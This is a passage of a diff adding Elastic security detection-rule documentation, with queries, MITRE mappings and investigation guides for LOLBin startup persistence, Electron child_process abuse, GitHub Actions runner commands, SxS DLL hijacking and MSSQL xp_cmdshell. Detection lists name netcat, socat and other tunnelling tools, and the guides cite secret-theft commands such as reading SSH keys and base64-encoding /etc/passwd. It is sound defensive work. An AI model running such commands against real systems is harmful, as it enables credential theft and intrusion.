matches any of these. +- Investigate the parent process explorer.exe to ensure it was not compromised or manipulated to launch the suspicious child process. +- Analyze the user account associated with the suspicious process to determine if it has been involved in any other suspicious activities or if it has elevated privileges that could be exploited. +- Review recent system changes or installations that might have introduced the suspicious executable or altered startup configurations. + + +*False positive analysis* + + +- Legitimate administrative scripts or tools may trigger alerts if they are executed from common directories like C:\Users or C:\ProgramData. To manage this, create exceptions for known administrative scripts that are regularly used in your environment. +- Software updates or installations might use processes like PowerShell or RUNDLL32, leading to false positives. Identify and exclude these processes when they are part of a verified update or installation routine. +- Custom scripts or automation tasks that run at startup could be flagged. Document these tasks and exclude them from the rule if they are part of normal operations. +- Security or monitoring tools that use similar execution patterns may be mistakenly identified. Verify these tools and add them to an exclusion list to prevent unnecessary alerts. +- User-initiated actions that mimic suspicious behavior, such as running scripts from the command line, can cause false positives. Educate users on safe practices and adjust the rule to exclude known benign user actions. + + +*Response and remediation* + + +- Isolate the affected host from the network to prevent further spread or communication with potential command and control servers. +- Terminate any suspicious processes identified in the alert, such as those executed by cscript.exe, wscript.exe, PowerShell.EXE, MSHTA.EXE, RUNDLL32.EXE, REGSVR32.EXE, RegAsm.exe, MSBuild.exe, or InstallUtil.exe. +- Remove any unauthorized or suspicious startup entries or scheduled tasks that may have been created to ensure persistence. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or remnants. +- Review and restore any modified system configurations or registry settings to their default or secure state. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for the affected host and similar systems to detect any recurrence or related suspicious activities. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +/* userinit followed by explorer followed by early child process of explorer (unlikely to be launched interactively) within 1m */ +sequence by host.id, user.name with maxspan=1m + [process where host.os.type == "windows" and event.type == "start" and process.name : "userinit.exe" and process.parent.name : "winlogon.exe"] + [process where host.os.type == "windows" and event.type == "start" and process.name : "explorer.exe"] + [process where host.os.type == "windows" and event.type == "start" and process.parent.name : "explorer.exe" and + /* add suspicious programs here */ + process.pe.original_file_name in ("cscript.exe", + "wscript.exe", + "PowerShell.EXE", + "MSHTA.EXE", + "RUNDLL32.EXE", + "REGSVR32.EXE", + "RegAsm.exe", + "MSBuild.exe", + "InstallUtil.exe") and + /* add potential suspicious paths here */ + process.args : ("C:\\Users\\*", "C:\\ProgramData\\*", "C:\\Windows\\Temp\\*", "C:\\Windows\\Tasks\\*", "C:\\PerfLogs\\*", "C:\\Intel\\*") + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: InstallUtil +** ID: T1218.004 +** Reference URL: https://attack.mitre.org/techniques/T1218/004/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Regsvcs/Regasm +** ID: T1218.009 +** Reference URL: https://attack.mitre.org/techniques/T1218/009/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-via-electron-child-process-node-js-module.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-via-electron-child-process-node-js-module.asciidoc new file mode 100644 index 0000000000..a7c995d4ad --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-via-electron-child-process-node-js-module.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-34-execution-via-electron-child-process-node-js-module]] +=== Execution via Electron Child Process Node.js Module + +Identifies attempts to execute a child process from within the context of an Electron application using the child_process Node.js module. Adversaries may abuse this technique to inherit permissions from parent processes. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.matthewslipper.com/2019/09/22/everything-you-wanted-electron-child-process.html +* https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/ +* https://nodejs.org/api/child_process.html + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Execution via Electron Child Process Node.js Module* + + +Electron applications, built on Node.js, can execute child processes using the `child_process` module, inheriting parent process permissions. Adversaries exploit this to execute unauthorized commands, bypassing security controls. The detection rule identifies suspicious process starts on macOS, focusing on command-line arguments indicative of such abuse, aiding in threat detection and mitigation. + + +*Possible investigation steps* + + +- Review the process arguments captured in the alert to confirm the presence of suspicious patterns, such as the use of "-e" and the inclusion of "require('child_process')". +- Identify the parent Electron application process to determine if it is a legitimate application or potentially malicious. +- Check the user account associated with the process to assess if it has elevated privileges that could be exploited. +- Investigate the command executed by the child process to understand its purpose and potential impact on the system. +- Correlate the alert with other security events or logs from the same host to identify any related suspicious activities or patterns. +- Examine the network activity of the host around the time of the alert to detect any unauthorized data exfiltration or communication with known malicious IPs. + + +*False positive analysis* + + +- Legitimate Electron applications may use the child_process module for valid operations, such as launching helper scripts or tools. Users should identify and whitelist these known applications to prevent unnecessary alerts. +- Development environments often execute scripts using child_process during testing or debugging. Exclude processes originating from development directories or environments to reduce false positives. +- Automated build or deployment tools running on macOS might invoke child processes as part of their workflow. Recognize and exclude these tools by their process names or paths. +- Some Electron-based applications might use command-line arguments that match the detection pattern for legitimate reasons. Review and adjust the detection rule to exclude these specific argument patterns when associated with trusted applications. +- Regularly review and update the exclusion list to accommodate new legitimate use cases as they arise, ensuring that the detection rule remains effective without generating excessive false positives. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized command execution and potential lateral movement. +- Terminate any suspicious child processes identified as being spawned by the Electron application to halt any ongoing malicious activity. +- Conduct a thorough review of the Electron application's code and configuration to identify and remove any unauthorized or malicious scripts or modules, particularly those involving the `child_process` module. +- Revoke and reset any credentials or tokens that may have been exposed or compromised due to the unauthorized execution, ensuring that new credentials are distributed securely. +- Apply security patches and updates to the Electron application and underlying Node.js environment to mitigate any known vulnerabilities that could be exploited in a similar manner. +- Enhance monitoring and logging on the affected system and similar environments to detect any future attempts to exploit the `child_process` module, focusing on command-line arguments and process creation events. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data have been impacted, ensuring a comprehensive response to the threat. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.args == "-e" and process.args : "const*require*child_process*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-via-github-actions-runner.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-via-github-actions-runner.asciidoc new file mode 100644 index 0000000000..70fd3688a4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-via-github-actions-runner.asciidoc @@ -0,0 +1,263 @@ +[[prebuilt-rule-8-19-34-execution-via-github-actions-runner]] +=== Execution via GitHub Actions Runner + +This rule detects potentially dangerous commands spawned by the GitHub Actions Runner.Worker process or by shell interpreters launched via a runner entrypoint script on self-hosted runner machines. Adversaries who gain the ability to modify or trigger workflows in a linked GitHub repository can execute arbitrary commands on the runner host. This behavior may indicate malicious or unexpected workflow activity, including code execution, reconnaissance, credential harvesting, or network exfiltration initiated through a compromised repository or unauthorized workflow. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise +* https://socket.dev/blog/shai-hulud-strikes-again-v2 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Initial Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Supply Chain +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Execution via GitHub Actions Runner* + + +Adversaries who gain the ability to modify or trigger workflows in a linked GitHub repository can execute arbitrary +commands on the runner host. This rule covers two parent process paths: +- **Direct execution**: process spawned directly by `Runner.Worker` / `Runner.Worker.exe`. +- **Entrypoint script execution**: process spawned by a shell (`sh`, `bash`, `zsh`) whose command line references + a runner `entrypoint.sh` script, a common pattern when the runner bootstraps workflow steps via a shell script. + + +*Possible investigation steps* + + +- Review `process.command_line` and `process.parent.command_line` to determine whether the activity matches a known, + authorized workflow step. +- For `grep`, `find`, `pgrep`, `printenv`, and `env` hits, assess whether the command targets sensitive paths, environment + variables (e.g. secrets, tokens), or process listings inconsistent with the declared workflow. +- For `openssl` and `base64` hits, inspect arguments for encoding/decoding operations that may indicate credential + harvesting, data staging, or a C2 channel. +- For `tr` and `cat` hits, assess whether they are chained with other suspicious commands (e.g. `cat /etc/passwd | base64`, + `cat ~/.ssh/id_rsa`) to read and encode sensitive files for exfiltration. +- For `nc`, `ncat`, `netcat`, and `socat` hits, check arguments for reverse shell patterns or port-forwarding to + attacker-controlled infrastructure. +- For `wg` and `wg-quick` hits, inspect arguments for tunnel configuration that may establish a covert egress channel. +- For `ssh` hits, review arguments for reverse tunnel flags (`-R`) or connections to unexpected remote hosts. +- For `kubectl` and `helm` hits, assess whether commands target sensitive namespaces, extract secrets, or deploy + workloads inconsistent with the declared workflow. +- For `vault` hits, inspect arguments for secret reads (`vault kv get`) or token operations that may indicate + credential harvesting from a HashiCorp Vault instance. +- For `gh` hits, review arguments for repository cloning, secret access (`gh secret`), or actions that escalate + access via the runner's GitHub token. +- For `nmap` hits, assess whether the command performs host or port discovery against internal network ranges, + indicating lateral movement preparation. +- Examine associated network activity for unexpected outbound connections, especially following `curl`, `wget`, or + `openssl s_client` invocations. +- Verify whether the triggering workflow run was initiated by an authorized actor and matches the repository's + expected workflow definitions. +- Correlate with file-write and file-access events to identify any sensitive file staging or collection activity. +- Correlate with other alerts to determine if this activity is part of a broader supply chain or CI/CD compromise. + + +*False positive analysis* + + +- Authorized GitHub workflow actions that legitimately use discovery utilities (`find`, `grep`, `env`, `nmap`), data + manipulation tools (`cat`, `tr`), encoding tools (`openssl`, `base64`), remote access tools (`ssh`), or + infrastructure CLIs (`kubectl`, `helm`, `vault`, `gh`) as part of their build, test, or deploy steps may trigger + this rule. Validate against known workflow definitions and consider adding workflow-specific exclusions if the + volume is high. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized command execution and potential lateral movement. +- Terminate any suspicious child processes that were initiated by the Github actions runner. +- Conduct a thorough review of the affected system's logs and configurations to identify any unauthorized changes or additional indicators of compromise. +- Restore the system from a known good backup if any unauthorized changes or malicious activities are confirmed. +- Implement application whitelisting to prevent unauthorized execution. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on the broader network. + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and + ( + /* Direct child of the GitHub Actions Runner.Worker process */ + process.parent.name in ("Runner.Worker", "Runner.Worker.exe") or + + /* Child of a shell interpreter launched via a runner entrypoint script + (e.g. /home/runner/runners//run/entrypoint.sh or similar paths) */ + ( + process.parent.name in ("sh", "bash", "zsh") and + process.parent.command_line like "*runner*entrypoint.sh" + ) + ) and + ( + process.name : ( + /* Network / download utilities */ + "curl", "curl.exe", "wget", "wget.exe", + /* Windows scripting & LOLBins */ + "powershell.exe", "cmd.exe", "pwsh.exe", "certutil.exe", "rundll32.exe", + /* Unix shells */ + "bash", "sh", "zsh", "dash", "ash", "tcsh", "csh", "ksh", "fish", "mksh", "busybox", "pwsh", + /* File / archive manipulation */ + "tar", "gzip", "rm", "sed", "chmod", + /* macOS-specific */ + "osascript", + /* Process persistence helpers */ + "nohup", "setsid", + /* Scripting runtimes */ + "python*", "perl*", "ruby*", "lua*", "php*", "node", "nodejs", "node.exe", + /* Discovery & reconnaissance */ + "pgrep", "grep", "find", "printenv", "env", "nmap", + /* Crypto / encoding (potential exfiltration or C2 channel) */ + "openssl", "base64", "basez", "base64plain", "base64url", "base64mime", "base64pem", "basenc", "base32", "base16", "xxd", + /* Data manipulation / inspection */ + "tr", "cat", + /* Network relay / tunneling */ + "nc", "ncat", "netcat", "nc.traditional", "nc.openbsd", "socat", "wg", "wg-quick", + /* Remote access */ + "ssh", "ssh.exe", "ftp", "tftp", "scp", "sftp", + /* Kubernetes / infrastructure */ + "kubectl", "helm", "docker", "ctr", "crictl", + /* Secret management */ + "vault", + /* GitHub CLI */ + "gh", + /* AWS CLI */ + "aws", + /*Azure CLI */ + "az", + /*GCP CLI */ + "gcloud", + /* Google Workspace CLI */ + "gws" + ) or + process.executable : ("/tmp/*", "/private/tmp/*", "/var/tmp/*", "/dev/shm/*", "/run/*", "/var/run/*", "?:\\Users\\*") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-via-local-sxs-shared-module.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-via-local-sxs-shared-module.asciidoc new file mode 100644 index 0000000000..166acf4dcd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-via-local-sxs-shared-module.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-34-execution-via-local-sxs-shared-module]] +=== Execution via local SxS Shared Module + +Identifies the creation, change, or deletion of a DLL module within a Windows SxS local folder. Adversaries may abuse shared modules to execute malicious payloads by instructing the Windows module loader to load DLLs from arbitrary local paths. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +The SxS DotLocal folder is a legitimate feature that can be abused to hijack standard modules loading order by forcing an executable on the same application.exe.local folder to load a malicious DLL module from the same directory. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and file.extension : "dll" and + file.path : ( + "C:\\*\\*.exe.local\\*.dll", + /* Crowdstrike specific condition as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\*\\*.exe.local\\*.dll" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Shared Modules +** ID: T1129 +** Reference URL: https://attack.mitre.org/techniques/T1129/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: DLL +** ID: T1574.001 +** Reference URL: https://attack.mitre.org/techniques/T1574/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-via-mssql-xp-cmdshell-stored-procedure.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-via-mssql-xp-cmdshell-stored-procedure.asciidoc new file mode 100644 index 0000000000..084da88401 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-via-mssql-xp-cmdshell-stored-procedure.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-34-execution-via-mssql-xp-cmdshell-stored-procedure]] +=== Execution via MSSQL xp_cmdshell Stored Procedure + +Identifies execution via MSSQL xp_cmdshell stored procedure. Malicious users may attempt to elevate their privileges by using xp_cmdshell, which is disabled by default, thus, it's important to review the context of it's use. + +*Rule type*: new_terms + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: New Terms +* Platform: Windows + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Execution via MSSQL xp_cmdshell Stored Procedure* + + +Microsoft SQL Server (MSSQL) has procedures meant to extend its functionality, the Extended Stored Procedures. These procedures are external functions written in C/C++; some provide interfaces for external programs. This is the case for xp_cmdshell, which spawns a Windows command shell and passes in a string for execution. Attackers can use this to execute commands on the system running the SQL server, commonly to escalate their privileges and establish persistence. + +The xp_cmdshell procedure is disabled by default, but when used, it has the same security context as the MSSQL Server service account, which is often privileged. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal account behavior, such as command executions, file creations or modifications, and network connections. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the command line to determine if the command executed is potentially harmful or malicious. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe. + + +*False positive analysis* + + +- This mechanism can be used legitimately, but it brings inherent risk. The security team must monitor any activity of it. If recurrent tasks are being executed using this mechanism, consider adding exceptions — preferably with a full command line. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Ensure that SQL servers are not directly exposed to the internet. If there is a business justification for such, use an allowlist to allow only connections from known legitimate sources. +- Disable the xp_cmdshell stored procedure. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:windows and event.category:process and event.type:start and +process.parent.name:"sqlservr.exe" and process.command_line : * and +( + ( + (process.name.caseless : "cmd.exe" or process.pe.original_file_name : "Cmd.Exe") and + not process.args : ( + \\\\* or diskfree or rmdir or mkdir or dir or DIR or del or rename or bcp or md or ren or REN or send or echo or + ECHO or TYPE or type or EXIST or forfiles or sqlcmd or SQLCMD or dtexec or Sort-Object or cat or copy or COPY or + move or MOVE or CD\\ or show or rd or powercfg or "C:\SPAN4\DATA\RISKPARAM.SPN" or ("@ECHO" and "@FOR") or + ("@echo" and "@for") or (SET and PATH=*) or ("-ExecutionPolicy" and "-File") or MSSQLFDLauncher$DATEV_DBENGINE or + (wmic and (cpu or computersystem or logicaldisk or os or ComputerSystem or volume)) or -s\:C\:\\WINDOWS\\SERVIC* or + D\:\\* or E\:\\* or F\:\\* or Z\:\\* or "C:\Program Files\Amazon\AWSCLIV2\aws.exe" or C\:\\7-Zip\\7z.exe* or + C\:\\FTP* or *\(Get-Item* or C\:\\ProgramData\\Daktronics* + ) and + not process.command_line : ( + "\"C:\\Windows\\system32\\cmd.exe\" /c " or + "\"C:\\Windows\\System32\\cmd.exe\"" + ) + ) or + process.name.caseless:("bitsadmin.exe" or "certutil.exe" or "vpnbridge.exe") or + process.name:("bitsadmin.exe" or "certutil.exe" or "vpnbridge.exe") or + process.pe.original_file_name:("CertUtil.exe" or "bitsadmin.exe" or "vpnbridge.exe") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: SQL Stored Procedures +** ID: T1505.001 +** Reference URL: https://attack.mitre.org/techniques/T1505/001/ +* Tactic: 